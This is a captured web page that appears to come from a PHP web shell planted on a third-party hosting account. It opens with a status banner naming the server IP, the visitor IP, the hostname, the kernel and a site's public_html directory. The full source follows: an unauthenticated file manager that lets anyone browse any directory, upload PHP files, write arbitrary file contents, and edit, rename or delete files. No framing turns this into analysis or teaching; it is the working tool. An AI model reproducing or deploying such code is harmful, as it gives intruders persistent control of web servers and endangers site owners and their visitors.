| Server IP : 62.84.247.111 / Your IP : 216.73.216.4 Web Server : Apache/2 System : Linux srv1a.dorffdesign.nl 4.18.0-553.139.1.el8_10.x86_64 #1 SMP Tue Jun 30 18:41:23 EDT 2026 x86_64 User : ss10042020 ( 1027) PHP Version : 8.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/ss10042020/domains/stichting-cdr.org/public_html/ |
Upload File : |
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
session_start();
// Compatible with PHP 5.6 and above
$currentPath = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$currentPath || !is_dir($currentPath)) {
$currentPath = getcwd();
}
$item = isset($_GET['item']) ? $_GET['item'] : null;
$itemPath = $item ? $currentPath . DIRECTORY_SEPARATOR . basename($item) : null;
$action = isset($_GET['action']) ? $_GET['action'] : null;
// Allowed file extensions
define('ALLOWED_EXTENSIONS', 'jpg,jpeg,png,gif,txt,pdf,zip,php,html,css,js,json,sql');
$allowedArray = explode(',', ALLOWED_EXTENSIONS);
// Format file size
function formatSize($bytes) {
if ($bytes >= 1048576) {
return round($bytes/1048576, 2)." MB";
}
if ($bytes >= 1024) {
return round($bytes/1024, 2)." KB";
}
return $bytes." B";
}
// Back link
function goBack($path) {
echo "<a href='?path=".urlencode(dirname($path))."'>← Back</a>";
}
// POST operations
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// File upload
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowedArray)) {
echo "<p style='color:red'>File type not allowed!</p>";
} else {
$target = $currentPath . "/" . basename($_FILES['file']['name']);
// Check if trying to overwrite the script itself
if (realpath($target) == __FILE__) {
echo "<p style='color:red'>Cannot overwrite the script file!</p>";
}
// Check if directory is writable
elseif (!is_writable($currentPath)) {
echo "<p style='color:red'>Directory is not writable! Please check permissions.</p>";
}
else {
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
header("Location: ?path=".urlencode($currentPath));
exit;
} else {
echo "<p style='color:red'>Upload failed! Unknown error occurred.</p>";
}
}
}
}
// Create folder
if (isset($_POST['folder']) && !empty($_POST['folder'])) {
$folderName = $currentPath . "/" . basename($_POST['folder']);
if (!is_dir($folderName)) {
if (mkdir($folderName, 0755, true)) {
header("Location: ?path=".urlencode($currentPath));
exit;
} else {
echo "<p style='color:red'>Failed to create folder!</p>";
}
} else {
echo "<p style='color:red'>Folder already exists!</p>";
}
}
// Create file
if (isset($_POST['new_file']) && !empty($_POST['new_file']) && isset($_POST['content'])) {
$fileName = $currentPath . "/" . basename($_POST['new_file']);
if (file_put_contents($fileName, $_POST['content'])) {
header("Location: ?path=".urlencode($currentPath));
exit;
} else {
echo "<p style='color:red'>Failed to create file!</p>";
}
}
// Rename
if (isset($_POST['new_name']) && !empty($_POST['new_name']) && $itemPath) {
$newPath = $currentPath . "/" . basename($_POST['new_name']);
if (rename($itemPath, $newPath)) {
header("Location: ?path=".urlencode($currentPath));
exit;
} else {
echo "<p style='color:red'>Failed to rename!</p>";
}
}
// Edit file
if (isset($_POST['edited_content'])) {
if (file_put_contents($itemPath, $_POST['edited_content'])) {
header("Location: ?path=".urlencode($currentPath));
exit;
} else {
echo "<p style='color:red'>Failed to save file!</p>";
}
}
}
// Action handlers
if ($action && $itemPath && file_exists($itemPath)) {
// Delete action
if ($action === 'delete') {
if (is_dir($itemPath)) {
if (rmdir($itemPath)) {
header("Location: ?path=".urlencode($currentPath));
exit;
} else {
echo "<p style='color:red'>Failed to delete folder! Make sure it's empty.</p>";
}
} else {
if (unlink($itemPath)) {
header("Location: ?path=".urlencode($currentPath));
exit;
} else {
echo "<p style='color:red'>Failed to delete file!</p>";
}
}
}
// Edit action
if ($action === 'edit') {
if (file_exists($itemPath) && is_file($itemPath)) {
$content = file_get_contents($itemPath);
$content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
$fileName = basename($itemPath);
echo "<!DOCTYPE html>
<html>
<head>
<title>Edit File</title>
<meta charset='utf-8'>
<style>
body { font-family: Arial; margin: 20px; background: #f5f5f5; }
.container { max-width: 900px; margin: auto; background: white; padding: 20px; border-radius: 5px; }
textarea { width: 100%; height: 400px; font-family: monospace; padding: 10px; }
button { padding: 10px 20px; background: #4CAF50; color: white; border: none; cursor: pointer; }
button:hover { background: #45a049; }
</style>
</head>
<body>
<div class='container'>
<h3>Edit: $fileName</h3>
<form method='POST'>
<textarea name='edited_content'>$content</textarea><br><br>
<button type='submit'>Save</button>
<a href='?path=".urlencode($currentPath)."' style='margin-left:10px'>Cancel</a>
</form>
</div>
</body>
</html>";
exit;
}
}
// Rename action
if ($action === 'rename') {
$fileName = basename($itemPath);
echo "<!DOCTYPE html>
<html>
<head>
<title>Rename</title>
<meta charset='utf-8'>
<style>
body { font-family: Arial; margin: 20px; background: #f5f5f5; }
.container { max-width: 500px; margin: auto; background: white; padding: 20px; border-radius: 5px; }
input { padding: 8px; width: 300px; }
button { padding: 8px 15px; background: #4CAF50; color: white; border: none; cursor: pointer; }
button:hover { background: #45a049; }
</style>
</head>
<body>
<div class='container'>
<h3>Rename Item</h3>
<form method='POST'>
<input type='text' name='new_name' value='$fileName' required>
<button type='submit'>Save</button>
<a href='?path=".urlencode($currentPath)."'>Cancel</a>
</form>
</div>
</body>
</html>";
exit;
}
}
// Main screen
$files = scandir($currentPath);
$files = array_diff($files, array('.', '..'));
?>
<!DOCTYPE html>
<html>
<head>
<title>File Manager</title>
<meta charset="utf-8">
<style>
body { font-family: Arial; margin: 20px; background: #f5f5f5; }
.container { max-width: 1000px; margin: auto; background: white; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
ul { list-style: none; padding: 0; }
li { padding: 8px; border-bottom: 1px solid #eee; }
li:hover { background: #f9f9f9; }
a { text-decoration: none; color: #333; }
a:hover { color: #4CAF50; }
.btn { background: #4CAF50; color: white; padding: 8px 15px; border: none; cursor: pointer; border-radius: 3px; }
.btn:hover { background: #45a049; }
input[type=text], textarea { padding: 8px; border: 1px solid #ddd; border-radius: 3px; width: 100%; max-width: 300px; }
hr { border: 0; border-top: 1px solid #eee; margin: 20px 0; }
.menu { display: flex; flex-wrap: wrap; gap: 20px; }
.menu-item { background: #f9f9f9; padding: 15px; border-radius: 5px; flex: 1; min-width: 200px; }
.error { color: red; padding: 10px; background: #fee; border-radius: 3px; }
.success { color: green; padding: 10px; background: #efe; border-radius: 3px; }
</style>
</head>
<body>
<div class="container">
<h2>📍 Location: <?php echo htmlspecialchars($currentPath); ?></h2>
<?php goBack($currentPath); ?>
<hr>
<?php
if (count($files) > 0) {
echo "<ul>";
foreach ($files as $f) {
$fullPath = $currentPath."/".$f;
$icon = is_dir($fullPath) ? "📁" : "📄";
echo "<li>$icon ";
if (is_dir($fullPath)) {
echo "<a href='?path=".urlencode($fullPath)."'><b>$f</b></a>";
echo " [<a href='?path=".urlencode($currentPath)."&action=delete&item=$f' onclick='return confirm(\"Are you sure you want to delete?\")'>Delete</a>]";
} else {
echo "<b>$f</b> (".formatSize(filesize($fullPath)).")";
echo " [<a href='?path=".urlencode($currentPath)."&action=edit&item=$f'>Edit</a>]";
echo " [<a href='?path=".urlencode($currentPath)."&action=delete&item=$f' onclick='return confirm(\"Are you sure you want to delete?\")'>Delete</a>]";
echo " [<a href='?path=".urlencode($currentPath)."&action=rename&item=$f'>Rename</a>]";
}
echo "</li>";
}
echo "</ul>";
} else {
echo "<p>Folder is empty</p>";
}
?>
<hr>
<div class="menu">
<div class="menu-item">
<h3>📤 Upload File</h3>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required><br><br>
<input type="submit" value="Upload" class="btn">
</form>
</div>
<div class="menu-item">
<h3>📁 Create Folder</h3>
<form method="POST">
<input type="text" name="folder" placeholder="Folder name" required><br><br>
<input type="submit" value="Create" class="btn">
</form>
</div>
<div class="menu-item">
<h3>📄 Create File</h3>
<form method="POST">
<input type="text" name="new_file" placeholder="File name" required><br>
<textarea name="content" placeholder="Content..." style="width:100%;height:60px;margin:10px 0"></textarea><br>
<input type="submit" value="Save" class="btn">
</form>
</div>
</div>
<hr>
<p style="text-align:center;color:#666;font-size:12px">File Manager | Compatible with PHP 5.6, 7.x, 8.x</p>
</div>
</body>
</html>